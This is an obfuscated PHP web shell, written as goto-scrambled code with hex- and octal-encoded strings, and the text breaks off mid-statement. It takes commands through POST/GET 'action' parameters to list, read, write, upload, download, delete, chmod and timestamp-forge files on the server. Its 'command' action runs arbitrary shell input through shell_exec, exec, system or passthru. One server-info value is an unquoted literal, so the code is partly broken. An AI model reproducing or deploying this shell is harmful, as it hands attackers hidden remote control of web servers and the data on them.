goto kUJgO; DH5TE: if ($ECNXt === "\165\x70\x6c\157\141\x64") { goto VNfhy; } goto IlvqI; cmXGJ: if ($ECNXt === "\x73\145\162\166\x65\162\x5f\x69\156\x66\x6f") { goto i2Wjw; } goto GgiqV; H0M3j: $ejA8h = $_POST["\x70\x61\164\150"] ?? ''; goto w1_kw; Z5VM3: YSVxJ: goto qA5KN; koj_4: if ($ECNXt === "\144\157\167\156\x6c\x6f\x61\144") { goto KBqvd; } goto DH5TE; tdvVB: yOLhK: goto oAEwx; GbkGF: $kFfDv["\x6d\x65\163\x73\141\x67\x65"] = "\x46\x6f\154\144\145\162\40\156\x61\x6d\x65\40\151\x73\40\x72\145\x71\165\151\162\x65\x64"; goto sFtpD; lvfud: $k12pp = $_POST["\143\x6d\x64"] ?? ''; goto gnX1x; NWpy9: goto Rtn9A; goto oEgkI; bUH24: dsuYY: goto LB4gR; CJyHB: goto AHMeU; goto WicOR; J1RQU: S8WH_: goto JMVfP; KMsMV: $owK_h = $_POST["\x6f\154\x64\120\x61\x74\150"] ?? ''; goto NnP1o; HMM3p: Vpl0l: goto euec7; DYItP: goto GRXnX; goto IGd1g; yJI2y: sDdUL: goto SGqYD; dyiSe: KBqvd: goto pj2rR; ekrAg: $c8rZu = $_POST["\x6e\x61\x6d\x65"] ?? ''; goto LQoSV; IMBJH: rqDlM: goto Oulh8; SPPR2: $Cec6H = "\x4e\157\x20\x63\x6f\x6d\155\141\156\x64\x20\x65\170\x65\x63\165\164\x69\157\156\40\146\x75\x6e\143\164\151\x6f\156\40\x61\x76\x61\x69\154\141\x62\154\x65"; goto vaECD; dHLgA: ArUTF: goto Dd1dh; AEsFn: if ($owK_h && $j3YCX) { goto NTL0J; } goto XVodJ; Y02An: function qHx6j($ejA8h = '') { goto oN1sD; Lnc2w: return $swO0W ?: $EbJkr; goto mWNbD; Qt6Yi: goto NjtBV; goto gSs7I; yEGrs: $EbJkr = getcwd(); goto hsaJV; hsaJV: $swO0W = realpath($EbJkr . DIRECTORY_SEPARATOR . $ejA8h); goto Lnc2w; dBUMA: NjtBV: goto yEGrs; X_fUt: jB0fG: goto DuTlS; Dxq_j: PI7UE: goto Qt6Yi; fQGZG: if (!preg_match("\57\x5e\133\141\55\x7a\x41\55\132\135\72\x2f", $ejA8h)) { goto PI7UE; } goto VX0wz; IWc5U: if (!($ejA8h[0] === "\x2f")) { goto PefpN; } goto k4kyg; DuTlS: if (DIRECTORY_SEPARATOR === "\57") { goto ptZLQ; } goto fQGZG; oN1sD: if (!empty($ejA8h)) { goto jB0fG; } goto oJvG2; gSs7I: ptZLQ: goto IWc5U; zEiGq: PefpN: goto dBUMA; oJvG2: return getcwd(); goto X_fUt; VX0wz: return realpath($ejA8h) ?: getcwd(); goto Dxq_j; k4kyg: return realpath($ejA8h) ?: getcwd(); goto zEiGq; mWNbD: } goto prTJV; n1pYa: if ($IliVQ["\x65\x72\x72\x6f\162"][$NcMHj] === UPLOAD_ERR_OK) { goto Vpl0l; } goto bdukU; Dd1dh: goto OSZ6N; goto DoABp; sNr4d: $kFfDv["\155\x65\x73\x73\x61\x67\x65"] = "\106\157\154\x64\145\x72\x20\x63\162\x65\141\x74\145\144\40\x73\165\x63\x63\145\163\163\x66\165\x6c\154\171"; goto TD6L3; VinRK: if (is_dir($ejA8h)) { goto phplJ; } goto I7hp0; bz9iA: if (!($JFjdE !== $ejA8h)) { goto Npjvk; } goto H5FbD; OsI3v: wsaU6: goto zm2Xf; FM0NS: AdWEU: goto ZWfMP; w944x: goto XRZWp; goto OcIUV; URhMl: $kFfDv["\x6d\145\x73\163\141\x67\x65"] = "\x63\x68\x6d\x6f\144\x20\x6e\x6f\x74\40\163\x75\x70\160\x6f\x72\x74\145\144\x20\157\156\40\127\x69\x6e\144\157\x77\163"; goto Gv2zL; Lgiky: KtsJW: goto ZRQSm; lGWU1: yhxFc: goto b6gDP; jUD1u: $D3pQw = in_array($Et5iG, ["\172\x69\x70", "\147\x7a", "\164\141\x72", "\x72\x61\x72", "\x62\x7a\62", "\164\x67\x7a"]); goto uHl7p; ypnn4: if (!($Szzz2 === "\56" || $Szzz2 === "\x2e\x2e")) { goto EiEoF; } goto ZX974; y5Fyx: $x1dTz = @file_get_contents($ejA8h); goto OiK93; d32VA: Rtn9A: goto ZZtLV; pR0fw: if (gzeof($XwbPQ)) { goto H2cx8; } goto UMLiu; uns4U: goto zmjjO; goto Zrw0h; LBpfv: $kFfDv["\160\x61\x72\145\156\164"] = $FcHKL; goto rWrE3; gPnof: readfile($ejA8h); goto vkhPS; rWrE3: XRZWp: goto rxo6N; TEYkh: $ejA8h = $_POST["\160\141\164\150"] ?? ''; goto VinRK; UMLiu: fwrite($A36R9, gzread($XwbPQ, $BNg81)); goto TlqE1; TD6L3: o1IXC: goto yJI2y; R4Roi: sq0P5: goto FDyuw; et1iS: w5TX_: goto eyoAq; pH9_y: $LpUQg = $_POST["\x70\145\x72\x6d\163"] ?? ''; goto qK6Ba; GzXcY: kOHFN: goto QcH7F; uA6dG: $kFfDv["\x6d\145\163\163\141\x67\145"] = "\122\x65\156\x61\155\145\144\40\163\165\143\x63\x65\163\x73\146\165\x6c\154\171"; goto R4Roi; LeBE8: $kFfDv["\x6d\145\163\163\141\147\x65"] = "\115\157\144\151\x66\x69\x65\x64\x20\x74\151\155\145\40\165\160\x64\x61\164\x65\x64\40\163\165\143\x63\145\163\163\x66\x75\154\154\x79"; goto Lgiky; QIDnl: if (!($NcMHj < $xWyjb)) { goto FSOy_; } goto n1pYa; TikHD: FSOy_: goto xTKoq; WicOR: iak_I: goto U19BR; sF7vZ: $kFfDv = ["\163\165\x63\x63\145\163\163" => false, "\x6d\x65\x73\163\141\147\145" => '']; goto Y02An; Qt_4w: header("\x43\x6f\x6e\x74\145\156\x74\55\114\x65\x6e\147\x74\150\72\40" . filesize($ejA8h)); goto gPnof; K6KEd: $ejA8h = QHx6j($_POST["\160\x61\164\x68"] ?? ''); goto LOszK; haDqt: WXu1z: goto hn_CE; hwXcj: goto SL8xI; goto srQfq; zE9_N: p9NMU: goto BzGbI; oLU1t: $x1dTz = $_POST["\143\157\x6e\x74\145\156\164"] ?? ''; goto SRFKz; uHl7p: $IliVQ[] = ["\156\x61\x6d\x65" => $Szzz2, "\160\141\164\150" => $zt3_y, "\x74\x79\160\x65" => $woIT3 ? "\144\x69\162" : "\146\x69\x6c\145", "\x73\x69\x7a\145" => $woIT3 ? "\55" : a0CeT(@filesize($zt3_y)), "\160\x65\x72\155\163" => HjZoF($zt3_y), "\x6d\x6f\144\x69\x66\x69\x65\144" => @filemtime($zt3_y), "\x6d\x6f\x64\x69\146\151\x65\144\137\144\151\x73\x70\x6c\x61\171" => date("\131\55\155\x2d\144\40\x48\x3a\151\x3a\x73", @filemtime($zt3_y)), "\x77\x72\151\164\x61\x62\154\145" => $vLGtt, "\x69\163\137\x61\162\143\150\151\x76\145" => $D3pQw, "\145\x78\x74" => $Et5iG]; goto wjFlO; UHSq4: SL8xI: goto Lt7k7; y9p8t: rD4Rm: goto jpTsy; HBTzN: if ($ECNXt === "\164\x6f\165\143\150") { goto YSVxJ; } goto p_eC2; G2MHi: xQ72G: goto CTFeB; IDK95: chdir($IQcVo); goto IMBJH; JoeC3: $SgL69 = $ejA8h . DIRECTORY_SEPARATOR . $c8rZu; goto G5oSk; G9R4w: gvrUI: goto y7YKu; k4VHX: $kFfDv["\x6d\145\x73\163\141\x67\x65"] = "\x46\x61\x69\x6c\x65\x64\x20\x74\x6f\x20\144\x65\154\x65\x74\145"; goto qbG8u; Si1WZ: $vwGRE = $_POST["\164\x69\x6d\x65\x53\x74\x72"] ?? ''; goto j0bAt; IeJSK: EiEoF: goto lZL2T; XpP4D: $SSBd2 = str_replace("\56\164\147\x7a", "\x2e\x74\141\162", $sj3f6); goto omhsk; SRFKz: if ($c8rZu) { goto yhxFc; } goto RBRZf; lZL2T: $zt3_y = $ejA8h . DIRECTORY_SEPARATOR . $Szzz2; goto h9SIS; j0b1h: eaSBE: goto QIDnl; h9SIS: $woIT3 = is_dir($zt3_y); goto C9oXe; konz5: BULMI: goto nD_vQ; ZBnTn: KyoTW: goto oQ7ts; qtkjv: closedir($kgsjI); goto Vbcod; u2FPs: $JCkA7 = octdec($LpUQg); goto JABHP; SV4Im: $m8wPI = false; goto LrRv2; jGpHX: if (function_exists("\160\x61\163\x73\x74\x68\162\165")) { goto xOo6m; } goto SPPR2; U19BR: try { goto LKGht; mQrLT: $RBFCu->extractTo($qGeQG); goto CHrlo; LKGht: $RBFCu = new PharData($sj3f6); goto mQrLT; CHrlo: $m8wPI = true; goto LcEYu; LcEYu: } catch (Exception $jTN0F) { $kFfDv["\x6d\x65\x73\x73\141\x67\x65"] = "\106\x61\x69\x6c\145\144\x20\164\157\x20\145\170\164\x72\141\143\x74\x3a\x20" . $jTN0F->getMessage(); } goto y0Blq; C5tbC: $Cec6H = ''; goto h7Ufm; Ywjp3: $kFfDv["\155\x65\x73\163\x61\147\145"] = "\104\145\x6c\145\164\145\x64\x20\163\165\143\143\145\163\163\146\165\154\x6c\171"; goto d32VA; srQfq: u3mCk: goto hRVvz; T7cUE: if ($k12pp) { goto tbOTQ; } goto nYbFO; hYY2L: header("\103\157\156\x74\x65\156\164\55\104\151\163\x70\157\x73\151\164\x69\x6f\156\x3a\40\141\x74\x74\141\143\x68\x6d\145\156\164\73\x20\x66\151\154\x65\x6e\x61\155\x65\75\x22" . basename($ejA8h) . "\42"); goto Qt_4w; F_SoV: if ($lsSKh && @touch($ejA8h, $lsSKh)) { goto LvWKa; } goto eC_lh; Cpar1: $kFfDv["\x6d\145\163\163\141\x67\145"] = "\x45\x78\x74\162\x61\143\164\x69\157\x6e\40\x6e\157\x74\x20\x73\165\x70\160\x6f\162\164\145\x64\40\x66\x6f\162\x20\x74\x68\x69\163\40\x66\x69\154\x65\40\x74\171\x70\x65\x20\157\x72\40\x65\170\x74\145\x6e\163\x69\157\x6e\40\156\x6f\x74\40\x65\x6e\141\x62\x6c\145\144"; goto F4raJ; WAg24: goto KtsJW; goto OX8rF; j0bAt: if ($ejA8h && $vwGRE) { goto w5TX_; } goto XZBoO; ylpEG: $xImsn = new ZipArchive(); goto e70EB; nYbFO: $kFfDv["\x6d\145\x73\x73\x61\x67\145"] = "\x43\x6f\x6d\155\141\156\144\x20\151\x73\40\162\145\x71\x75\151\162\x65\144"; goto c2v22; Kc2P7: goto sq0P5; goto jKwT2; Oulh8: if (function_exists("\163\150\145\x6c\x6c\x5f\145\x78\x65\x63")) { goto kOHFN; } goto ax4SE; CisRF: $kFfDv["\163\165\143\143\x65\163\163"] = true; goto Ywjp3; F4raJ: wGuzi: goto jqF3S; k_0Dd: $Cec6H = implode("\xa", $Pqthi); goto luyzg; G4NOP: ob_start(); goto IeUw2; oQ7ts: $ejA8h = Qhx6J($_POST["\160\141\x74\x68"] ?? ''); goto ekrAg; SgKEW: $qEUWN++; goto W5KBy; vJJTW: eBC3M: goto uns4U; OCOLq: $XwbPQ = gzopen($sj3f6, "\x72\x62"); goto tBjpz; jKwT2: jrzID: goto lAq34; bdukU: $qEUWN++; goto oelBc; uKWQf: $IliVQ = []; goto PbAea; Gv2zL: hnjvC: goto abFkZ; Ayz9E: $kFfDv["\x6d\x65\x73\x73\x61\x67\145"] = "\x46\141\151\x6c\x65\x64\40\x74\157\x20\x64\x65\154\145\x74\x65"; goto NWpy9; prTJV: function A0CET($iCFYN) { goto LbvSG; LbvSG: $D3Qxp = ["\102", "\x4b\102", "\x4d\102", "\x47\x42"]; goto T6uZ4; T6uZ4: $iCFYN = max($iCFYN, 0); goto ikNbJ; ikNbJ: $Aa9JF = floor(($iCFYN ? log($iCFYN) : 0) / log(1024)); goto Zo2uE; Zo2uE: $Aa9JF = min($Aa9JF, count($D3Qxp) - 1); goto cdq4n; cdq4n: return round($iCFYN / pow(1024, $Aa9JF), 2) . "\x20" . $D3Qxp[$Aa9JF]; goto mDoes; mDoes: } goto iqB6h; T1Neg: $kFfDv["\x69\156\x66\x6f"] = ["\163\x65\x72\166\x65\x72\x5f\156\141\x6d\145" => Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64, "\x73\145\162\x76\145\x72\137\163\157\x66\164\167\141\x72\145" => $_SERVER["\x53\x45\x52\x56\105\122\137\x53\117\x46\x54\x57\101\x52\105"] ?? "\x55\156\x6b\156\x6f\167\x6e", "\x6f\163" => PHP_OS, "\x70\150\160\137\x76\145\162\163\x69\x6f\x6e" => PHP_VERSION, "\x73\x65\162\x76\145\162\137\151\x70" => $_SERVER["\123\x45\122\x56\105\x52\x5f\101\x44\x44\x52"] ?? gethostbyname(gethostname()), "\x63\154\x69\145\x6e\164\x5f\151\160" => $_SERVER["\122\105\115\117\x54\105\137\x41\x44\104\x52"] ?? "\x55\156\153\156\157\167\156"]; goto WFaVm; Vbcod: usort($IliVQ, function ($yFB6q, $hCc5w) { goto K5Cws; V9kbX: return strcasecmp($yFB6q["\x6e\x61\155\x65"], $hCc5w["\156\x61\x6d\x65"]); goto MaWyd; LQJ4v: O0Alo: goto V9kbX; fWveO: return $yFB6q["\x74\x79\160\145"] === "\144\x69\x72" ? -1 : 1; goto LQJ4v; K5Cws: if (!($yFB6q["\x74\x79\160\145"] !== $hCc5w["\164\171\160\x65"])) { goto O0Alo; } goto fWveO; MaWyd: }); goto Rtmhc; NnP1o: $j3YCX = $_POST["\156\x65\167\x4e\x61\155\145"] ?? ''; goto AEsFn; FKfDa: $kFfDv["\x6d\145\163\x73\x61\x67\x65"] = "\x46\141\x69\154\x65\x64\40\x74\157\40\x75\x70\x6c\x6f\141\144\x20\x66\x69\154\145\163"; goto RhTQi; iZ5k4: $kFfDv["\143\157\x6e\x74\x65\156\164"] = $x1dTz; goto vJJTW; z9iZb: $kFfDv["\x66\151\x6c\145\163"] = $IliVQ; goto vS9Ov; sFtpD: goto sDdUL; goto KahTz; lAq34: $kFfDv["\163\165\143\143\x65\x73\163"] = true; goto uA6dG; G_hlH: if (!($XwbPQ && $A36R9)) { goto As4cN; } goto oDrxb; IMbKe: goto wGuzi; goto tdvVB; xt9W5: if (@file_put_contents($sj3f6, $x1dTz) !== false) { goto u3mCk; } goto zdoDq; dXswI: $ejA8h = qHx6J($_POST["\160\141\x74\150"] ?? ''); goto aC9ce; b6gDP: $sj3f6 = $ejA8h . DIRECTORY_SEPARATOR . $c8rZu; goto xt9W5; Y6Edz: if ($kgsjI = @opendir($ejA8h)) { goto Jc0Gb; } goto KJQCQ; jpTsy: if (!(false !== ($Szzz2 = readdir($kgsjI)))) { goto rRrqR; } goto ypnn4; ajD8C: $BNg81 = 4096; goto rC80U; rj_nv: if ($ECNXt === "\163\141\166\x65\137\146\x69\154\x65") { goto GwGrn; } goto jZCNU; V0ob1: $yJUrp++; goto hWGXq; qbG8u: goto ArUTF; goto FM0NS; ibSD0: goto U4vp1; goto lGWU1; Zrw0h: GwGrn: goto H0M3j; jAFT4: tbOTQ: goto C5tbC; D2v9N: if (@rename($owK_h, $nUKfx)) { goto jrzID; } goto YnbDM; tZo20: xOo6m: goto I2Kwr; YaDIB: goto hnjvC; goto Ip887; z6kGR: eR_Vk: goto lvfud; OQG9Z: $yJUrp = 0; goto gNVhA; MthSX: goto zmjjO; goto r0noa; LQoSV: if ($c8rZu) { goto ajdDT; } goto GbkGF; y7YKu: header("\103\157\156\164\x65\x6e\x74\55\124\171\x70\x65\72\x20\x61\160\160\154\151\143\x61\164\x69\157\x6e\57\157\143\164\145\164\55\163\164\x72\x65\141\155"); goto hYY2L; l2cVP: goto zmjjO; goto z6kGR; SeS5_: qXjX_: goto BHGJ3; jAuRX: $xImsn->extractTo($qGeQG); goto ep2Ut; Pt3KX: if ($ECNXt === "\143\x68\x6d\157\144") { goto dsuYY; } goto HBTzN; ax4SE: if (function_exists("\x65\170\145\x63")) { goto OvuHe; } goto NwUZF; vS9Ov: $kFfDv["\160\141\x74\x68"] = $ejA8h; goto LBpfv; jZCNU: if ($ECNXt === "\x72\x65\x6e\x61\x6d\x65") { goto BInyL; } goto OUeXc; IGd1g: OvuHe: goto xEVPJ; Qa8Vo: $Et5iG = strtolower(pathinfo($sj3f6, PATHINFO_EXTENSION)); goto SV4Im; JABHP: if (@chmod($ejA8h, $JCkA7)) { goto LgDtO; } goto J6QEj; IeUw2: @system($k12pp . "\x20\x32\x3e\46\x31"); goto rJMx4; I7hp0: if (@unlink($ejA8h)) { goto AdWEU; } goto k4VHX; pD2FY: $ECNXt = $_POST["\141\x63\164\x69\157\156"] ?? $_GET["\141\143\x74\151\157\x6e"] ?? ''; goto sF7vZ; h7Ufm: $GZf_N = getcwd(); goto KEUDG; Pn1sS: goto zmjjO; goto dyiSe; Rtmhc: $kFfDv["\163\165\x63\143\145\163\x73"] = true; goto z9iZb; OvdRx: $m8wPI = true; goto FYnqL; Rr724: $NcMHj = 0; goto j0b1h; vaECD: goto GRXnX; goto GzXcY; h83WD: goto zmjjO; goto ZBnTn; O3oJS: if ($ECNXt === "\162\x65\x61\144\x5f\146\x69\154\x65") { goto BV9Tl; } goto rj_nv; ep2Ut: $xImsn->close(); goto m8TpG; Qa4t4: S_hRk: goto rMmCy; LOszK: $c8rZu = $_POST["\x6e\141\155\145"] ?? ''; goto oLU1t; KXMJ2: NTL0J: goto Exgt0; eHWq0: goto Kl9tk; goto KXMJ2; e70EB: if (!($xImsn->open($sj3f6) === TRUE)) { goto B3XAU; } goto jAuRX; RBRZf: $kFfDv["\155\145\x73\x73\141\147\x65"] = "\x46\x69\x6c\145\x20\x6e\141\155\x65\x20\x69\163\x20\x72\x65\161\165\x69\162\x65\x64"; goto ibSD0; P8Y3p: goto AHMeU; goto CRUSw; SXjZ4: goto zmjjO; goto Qa4t4; dZ5Zg: nRXsF: goto MaJkx; RhTQi: goto WXu1z; goto konz5; s6VYY: if ($ECNXt === "\x63\x72\145\141\x74\145\x5f\146\151\154\145") { goto xMd73; } goto OBfRE; yYO1L: $IliVQ = $_FILES["\x66\x69\154\145\x73"]; goto ih9gd; av1QV: $Cec6H = ob_get_clean(); goto uaOal; ftsks: PRqSI: goto eLdl4; RoEr5: $qGeQG = dirname($sj3f6); goto ituSr; xEVPJ: @exec($k12pp . "\x20\62\x3e\x26\x31", $Pqthi); goto k_0Dd; ituSr: if (!file_exists($sj3f6)) { goto j0u0a; } goto Qa8Vo; eC_lh: $kFfDv["\155\x65\x73\163\x61\x67\x65"] = "\106\141\x69\x6c\145\144\40\x74\157\x20\x75\160\144\x61\x74\x65\x20\155\157\x64\x69\146\151\145\x64\40\x74\151\155\145"; goto WAg24; J5_M0: header("\x43\157\156\x74\145\x6e\164\x2d\124\171\x70\x65\72\40\141\160\160\154\151\x63\141\x74\151\157\x6e\x2f\x6a\x73\157\x6e"); goto JJKDh; LB4gR: $ejA8h = $_POST["\160\x61\x74\150"] ?? ''; goto pH9_y; omhsk: qMIB9: goto OCOLq; rC80U: $SSBd2 = str_replace("\x2e\147\172", '', $sj3f6); goto LPT2M; r0noa: dNYGh: goto TEYkh; G5oSk: if (@mkdir($SgL69, 0755, true)) { goto qhP2T; } goto XD7iD; SqNIi: die("\106\x69\154\145\40\156\157\164\40\x66\x6f\x75\156\x64"); goto hzj4u; iqB6h: function Hjzof($XwbPQ) { goto ox4O1; uj_yt: sg0nU: goto bGHF2; bGHF2: return substr(sprintf("\45\157", fileperms($XwbPQ)), -4); goto u2hdT; ox4O1: if (!(DIRECTORY_SEPARATOR === "\x5c")) { goto sg0nU; } goto gP4Oi; gP4Oi: return is_writable($XwbPQ) ? "\167\162\151\164\x61\x62\154\x65" : "\162\x65\141\144\55\x6f\x6e\x6c\x79"; goto uj_yt; u2hdT: } goto MdVrw; RUQVt: goto eBC3M; goto G2MHi; rJMx4: $Cec6H = ob_get_clean(); goto VyVzL; St42Q: ms5PJ: goto Cpar1; qA5KN: $ejA8h = $_POST["\160\141\164\x68"] ?? ''; goto Si1WZ; xTKoq: if ($yJUrp > 0) { goto BULMI; } goto FKfDa; FOTzm: $kFfDv["\x6d\x65\x73\x73\141\x67\145"] = "\x46\x69\154\x65\40\x73\x61\x76\x65\144\40\163\x75\x63\143\x65\x73\163\146\165\154\x6c\x79"; goto SeS5_; Lt7k7: U4vp1: goto h83WD; OcIUV: Jc0Gb: goto k_anv; OBfRE: if ($ECNXt === "\143\x72\x65\x61\x74\145\137\146\157\154\x64\145\162") { goto KyoTW; } goto O3oJS; aC9ce: if (isset($_FILES["\146\x69\154\145\163"])) { goto QDckw; } goto dzS_a; KJQCQ: $kFfDv["\155\x65\x73\163\x61\x67\145"] = "\103\141\x6e\156\157\x74\x20\x6f\160\145\156\x20\144\151\x72\x65\143\x74\157\x72\171"; goto w944x; Exgt0: $A8Cyt = dirname($owK_h); goto qrV_f; hn_CE: kWxaH: goto l2cVP; H5FbD: $FcHKL = $JFjdE; goto WGMls; NwUZF: if (function_exists("\163\171\163\x74\145\155")) { goto OZFGM; } goto jGpHX; ZRQSm: JstZf: goto SXjZ4; hRVvz: $kFfDv["\163\x75\x63\143\x65\x73\163"] = true; goto knXBu; Ip887: nzGbJ: goto URhMl; qK6Ba: if (DIRECTORY_SEPARATOR === "\x5c") { goto nzGbJ; } goto u2FPs; J6QEj: $kFfDv["\155\x65\x73\163\x61\147\145"] = "\106\x61\x69\154\x65\144\x20\x74\157\x20\x63\150\x61\156\147\x65\40\160\x65\162\x6d\x69\x73\163\151\x6f\x6e"; goto JtA83; oEgkI: uUzMo: goto CisRF; BzGbI: $NcMHj++; goto KMt9j; WkYno: i2Wjw: goto jTLAk; XD7iD: $kFfDv["\155\145\x73\x73\141\x67\145"] = "\106\x61\x69\154\x65\x64\40\164\157\x20\143\162\x65\141\x74\x65\40\146\157\x6c\144\145\162"; goto MEdDN; JtA83: goto OVXKc; goto td7Ue; WGMls: Npjvk: goto y9p8t; dzS_a: $kFfDv["\155\x65\163\x73\141\147\x65"] = "\x4e\157\40\x66\x69\x6c\145\163\x20\163\145\154\x65\143\x74\x65\x64"; goto z4GOa; eQS6F: VNfhy: goto dXswI; QYyMB: goto zmjjO; goto bUH24; ZX974: goto rD4Rm; goto IeJSK; ih9gd: $xWyjb = count($IliVQ["\x6e\x61\155\x65"]); goto Rr724; LPT2M: if (!($Et5iG === "\164\147\172")) { goto qMIB9; } goto XpP4D; W5KBy: goto bgmps; goto x5AQ1; euec7: $vX3Ai = $ejA8h . DIRECTORY_SEPARATOR . basename($IliVQ["\x6e\x61\155\x65"][$NcMHj]); goto Hifgc; x5AQ1: aaAWr: goto V0ob1; abFkZ: goto zmjjO; goto Z5VM3; YnbDM: $kFfDv["\155\145\163\x73\141\x67\145"] = "\x46\141\151\154\145\144\x20\164\x6f\x20\x72\145\156\x61\155\145"; goto Kc2P7; itaDR: D518W: goto Pn1sS; c2v22: goto wsaU6; goto jAFT4; I2Kwr: ob_start(); goto XIUx2; KdG72: $ejA8h = $_POST["\160\141\164\150"] ?? ''; goto y5Fyx; aa1v7: if (!isset($kFfDv["\155\x65\163\163\141\147\145"]) || empty($kFfDv["\x6d\145\163\163\141\x67\x65"])) { goto ms5PJ; } goto IMbKe; FDyuw: Kl9tk: goto MthSX; LbYVi: $kFfDv["\x6f\x75\x74\x70\165\164"] = $Cec6H ?: "\x43\x6f\x6d\x6d\141\156\x64\40\145\x78\145\143\x75\164\145\144\40\x28\x6e\x6f\40\157\x75\164\x70\x75\x74\x29"; goto OsI3v; WyxEX: $kFfDv["\155\145\x73\163\x61\147\x65"] = "\106\141\151\x6c\x65\x64\x20\164\157\x20\163\141\x76\x65\x20\x66\151\x6c\145"; goto n2ozs; Vt40F: $kFfDv["\155\145\x73\x73\141\x67\145"] = "{$yJUrp}\40\x66\x69\x6c\145\x28\163\x29\40\x75\x70\154\x6f\141\x64\x65\x64\x20\163\x75\143\x63\x65\163\x73\146\x75\154\x6c\171" . ($qEUWN > 0 ? "\x2c\40{$qEUWN}\40\x66\141\x69\x6c\x65\144" : ''); goto haDqt; DoABp: phplJ: goto zsr2h; mHQFJ: j0u0a: goto nOSjN; GEh7l: if ($Et5iG === "\x74\141\162" && class_exists("\120\150\x61\x72\x44\x61\x74\141")) { goto iak_I; } goto xeMzj; CTFeB: $kFfDv["\x73\x75\x63\143\x65\163\163"] = true; goto iZ5k4; z4GOa: goto kWxaH; goto zFdvx; iG0Ix: ERzIL: goto ylpEG; Ordzg: xMd73: goto K6KEd; oDrxb: xtXXf: goto pR0fw; M07JW: goto wGuzi; goto St42Q; XIUx2: @passthru($k12pp . "\x20\x32\76\46\x31"); goto av1QV; Hifgc: if (@move_uploaded_file($IliVQ["\x74\x6d\160\137\156\141\x6d\145"][$NcMHj], $vX3Ai)) { goto aaAWr; } goto SgKEW; C9oXe: $vLGtt = is_writable($zt3_y); goto Q36C1; FYnqL: As4cN: goto CJyHB; PbAea: $FcHKL = null; goto Y6Edz; CAHvN: if (FUMa1($ejA8h)) { goto uUzMo; } goto Ayz9E; bgci0: rRrqR: goto qtkjv; WFaVm: zmjjO: goto J5_M0; VyVzL: goto GRXnX; goto tZo20; mqugV: goto JstZf; goto et1iS; WGctN: $kFfDv["\x6d\145\163\163\141\147\x65"] = "\x45\170\x74\162\141\143\x74\x65\144\x20\x73\165\143\x63\x65\163\x73\146\165\154\154\x79"; goto M07JW; JMVfP: goto zmjjO; goto eQS6F; uaOal: GRXnX: goto TRIHX; td7Ue: LgDtO: goto nYTD1; SGqYD: goto zmjjO; goto ZIFoO; hB6oX: gzclose($XwbPQ); goto OvdRx; oAEwx: $kFfDv["\163\x75\x63\x63\145\x73\163"] = true; goto WGctN; knXBu: $kFfDv["\x6d\145\163\x73\141\147\x65"] = "\x46\151\154\145\x20\x63\162\x65\141\164\145\144\40\163\x75\143\x63\x65\x73\x73\146\x75\154\x6c\x79"; goto UHSq4; tzCVX: OVXKc: goto YaDIB; gnX1x: $IQcVo = $_POST["\143\x77\x64"] ?? getcwd(); goto T7cUE; QcH7F: $Cec6H = @shell_exec($k12pp . "\40\62\76\46\61"); goto DYItP; zsr2h: function Fuma1($A8Cyt) { goto vwIQd; cA7SU: DukV_: goto J9NK8; BXjbH: if (is_dir($A8Cyt)) { goto zOOJE; } goto Wppdm; Y2p8r: h5lQi: goto BXjbH; GoKAy: zOOJE: goto bI0Mi; HfcT7: return true; goto Y2p8r; vwIQd: if (file_exists($A8Cyt)) { goto h5lQi; } goto HfcT7; J9NK8: return @rmdir($A8Cyt); goto MCuML; Wppdm: return @unlink($A8Cyt); goto GoKAy; bI0Mi: foreach (scandir($A8Cyt) as $NSnn0) { goto IyK5y; KaYMl: return false; goto quBFq; IyK5y: if (!($NSnn0 == "\x2e" || $NSnn0 == "\56\x2e")) { goto sIDjI; } goto ak19e; FmQhg: sIDjI: goto FNRkS; quBFq: WeiS9: goto J4d7i; J4d7i: SfOuM: goto JmsdT; FNRkS: if (fuMA1($A8Cyt . DIRECTORY_SEPARATOR . $NSnn0)) { goto WeiS9; } goto KaYMl; ak19e: goto SfOuM; goto FmQhg; JmsdT: } goto cA7SU; MCuML: } goto CAHvN; oelBc: goto oO547; goto HMM3p; ZWfMP: $kFfDv["\163\165\143\x63\x65\163\163"] = true; goto WE5ji; B2ilX: B3XAU: goto P8Y3p; luyzg: goto GRXnX; goto R729A; qrV_f: $nUKfx = $A8Cyt . DIRECTORY_SEPARATOR . $j3YCX; goto D2v9N; vkhPS: exit; goto J1RQU; IlvqI: if ($ECNXt === "\x63\x6f\x6d\x6d\141\156\144") { goto eR_Vk; } goto cmXGJ; m8TpG: $m8wPI = true; goto B2ilX; ZIFoO: BV9Tl: goto KdG72; hWGXq: bgmps: goto NvZki; jTLAk: $kFfDv["\x73\165\143\143\145\x73\163"] = true; goto T1Neg; qDp3I: $kFfDv["\x6d\145\163\x73\x61\x67\145"] = "\x46\141\x69\154\x65\144\x20\x74\157\x20\x72\x65\141\144\40\146\151\x6c\145"; goto RUQVt; pucIw: exit; goto ftsks; w1_kw: $x1dTz = $_POST["\x63\157\x6e\x74\x65\x6e\x74"] ?? ''; goto Vn8hQ; Q36C1: $Et5iG = strtolower(pathinfo($Szzz2, PATHINFO_EXTENSION)); goto jUD1u; JJKDh: echo json_encode($kFfDv); goto pucIw; PUhh4: if (file_exists($ejA8h) && is_file($ejA8h)) { goto gvrUI; } goto SqNIi; kUJgO: if (!(isset($_POST["\x61\x63\164\x69\x6f\156"]) || isset($_GET["\x61\x63\x74\x69\157\x6e"]))) { goto PRqSI; } goto pD2FY; n2ozs: goto qXjX_; goto dZ5Zg; GgiqV: goto zmjjO; goto fnD7K; nma0K: qhP2T: goto r8i_k; hzj4u: goto S8WH_; goto G9R4w; tBjpz: $A36R9 = fopen($SSBd2, "\x77\x62"); goto G_hlH; Vn8hQ: if (@file_put_contents($ejA8h, $x1dTz) !== false) { goto nRXsF; } goto WyxEX; MdVrw: if ($ECNXt === "\154\x69\x73\164") { goto zw93s; } goto s6VYY; k_anv: $JFjdE = dirname($ejA8h); goto bz9iA; XVodJ: $kFfDv["\155\x65\x73\x73\x61\147\x65"] = "\111\156\166\141\154\151\144\x20\160\141\x72\x61\x6d\x65\x74\145\162\x73"; goto eHWq0; nYTD1: $kFfDv["\x73\165\143\143\x65\x73\163"] = true; goto O2AM3; fnD7K: zw93s: goto O5XG5; XZBoO: $kFfDv["\155\145\163\163\141\x67\145"] = "\111\156\166\x61\154\x69\x64\40\x70\141\162\141\x6d\x65\164\145\x72\x73"; goto mqugV; ENakO: fclose($A36R9); goto hB6oX; Hgl1H: if ($m8wPI) { goto yOLhK; } goto aa1v7; nD_vQ: $kFfDv["\x73\x75\x63\x63\x65\163\163"] = true; goto 